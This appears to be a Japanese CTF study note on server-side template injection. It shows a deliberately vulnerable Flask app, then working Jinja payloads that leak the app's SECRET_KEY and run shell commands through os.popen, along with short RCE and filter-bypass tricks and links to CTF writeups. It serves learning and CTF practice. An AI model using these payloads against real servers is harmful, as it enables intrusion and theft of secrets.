Server-Side Template Injection
ユーザーの入力をサーバーが描画するテンプレート自体に注入できてしまう脆弱性のこと
Remote Code ExecutionやLocal File Inclusionができることが多い
例
code:server.py
from flask import Flask, request, render_template_string
app = Flask(__name__)
app.config"SECRET_KEY" = "THIS_IS_SECRET"
@app.get("/hello")
def hello():
name = request.args.get("name", "Noname")
return render_template_string("Hello " + name)
if __name__ == "__main__":
app.run()
/hello?name=hogeでHello hogeというレスポンスが返ってくる
描画するテンプレートにユーザーの入力(name)がそのまま反映されていることに注目する
/hello?name={{7*7}}にアクセスすると、Hello 49というレスポンスが返ってくる
{{と}}はFlaskで使っているテンプレートエンジンJinjaの構文
7*7が計算されてしまっている
/hello?name={{config}}にアクセスすると、以下のようなレスポンスが返ってくる
code:response
Hello <Config {'ENV': 'production', 'DEBUG': False, 'TESTING': False, 'PROPAGATE_EXCEPTIONS': None, 'PRESERVE_CONTEXT_ON_EXCEPTION': None, 'SECRET_KEY': 'THIS_IS_SECRET', 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(days=31), 'USE_X_SENDFILE': False, 'SERVER_NAME': None, 'APPLICATION_ROOT': '/', 'SESSION_COOKIE_NAME': 'session', 'SESSION_COOKIE_DOMAIN': None, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_HTTPONLY': True, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_SAMESITE': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'MAX_CONTENT_LENGTH': None, 'SEND_FILE_MAX_AGE_DEFAULT': None, 'TRAP_BAD_REQUEST_ERRORS': None, 'TRAP_HTTP_EXCEPTIONS': False, 'EXPLAIN_TEMPLATE_LOADING': False, 'PREFERRED_URL_SCHEME': 'http', 'JSON_AS_ASCII': True, 'JSON_SORT_KEYS': True, 'JSONIFY_PRETTYPRINT_REGULAR': False, 'JSONIFY_MIMETYPE': 'application/json', 'TEMPLATES_AUTO_RELOAD': None, 'MAX_COOKIE_SIZE': 4093}>
Flaskのテンプレート内ではconfigにアクセスできる
SECRET_KEYの中身であるTHIS_IS_SECRETが漏洩してしまっている
/hello?name={{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}
code:response
Hello uid=1000(satoooon) gid=1000(satoooon) groups=1000(satoooon)
idコマンドが実行されてしまっている
テンプレート内では属性へのアクセスや関数の呼び出しもできるので、頑張ればRCEができる
__globals__などについてはpyjailを参照
テクニック
Python
pyjail
Flask固有
request.args
/?a=hogehogeとすれば、request.args.aにhogehogeが入る
request.cookiesなどもある
コードゴルフやFilter bypassに
config.update
config.update(a=request)でconfig.aにrequestが永続的に格納される
次のリクエストでも有効
config.update(a=config.a.application)のようにアクセスしていけば目的のオブジェクトに辿り着ける
Imaginary CTF 2022 - SSTI Golf https://nanimokangaeteinai.hateblo.jp/entry/2022/07/21/200947#Web-100-SSTI-Golf-223-solves
Jinja
lipsum.__globals__.os.popen("id")でRCEできる
多分これが一番短いと思います
{{と}}が制限されている場合
{% set a=b %}などの他の構文が使える
{% include %}
Payloadを分割して、includeで繋ぎ合わせることで文字数を短縮できる
Hacker's Playground 2022 - OnlineNotePad https://satoooon1024.hatenablog.com/entry/SamsungCTF_Writeup#Web-OnlineNotePad-16-solves
JavaScript
ejs.renderは引数を省略するとデータと同時にオプションも指定できてしまう
hxp ctf 2022 - valentine
this.constructor.constructor("return process").mainModule.requireをよく使う
Go
WeCTF 2022 - Request Bin https://ctftime.org/writeup/34359
ACSC 2023 - easyssti TODO
Java
UIUCTF 2022 - spoink https://blog.arkark.dev/2022/08/01/uiuctf/
Perl
Template toolkit
TODO: justCTF Piggy
資料
Web Security Academy https://portswigger.net/web-security/server-side-template-injection
Jinjaの仕様 https://jinja.palletsprojects.com/en/3.1.x/templates/
Jinjaで使えるフィルター一覧 https://jinja.palletsprojects.com/en/3.1.x/templates/#list-of-builtin-filters
Jinjaで使えるグローバル関数一覧 https://jinja.palletsprojects.com/en/3.1.x/templates/#list-of-global-functions
FlaskからJinjaに渡されるコンテキスト一覧 https://flask.palletsprojects.com/en/2.2.x/templating/#standard-context
CTF的 Flaskに対する攻撃まとめ https://qiita.com/koki-sato/items/6ff94197cf96d50b5d8f
CTFのWebセキュリティにおけるSSTIまとめ https://blog.hamayanhamayan.com/entry/2021/12/15/225142
PayloadAllTheThings https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection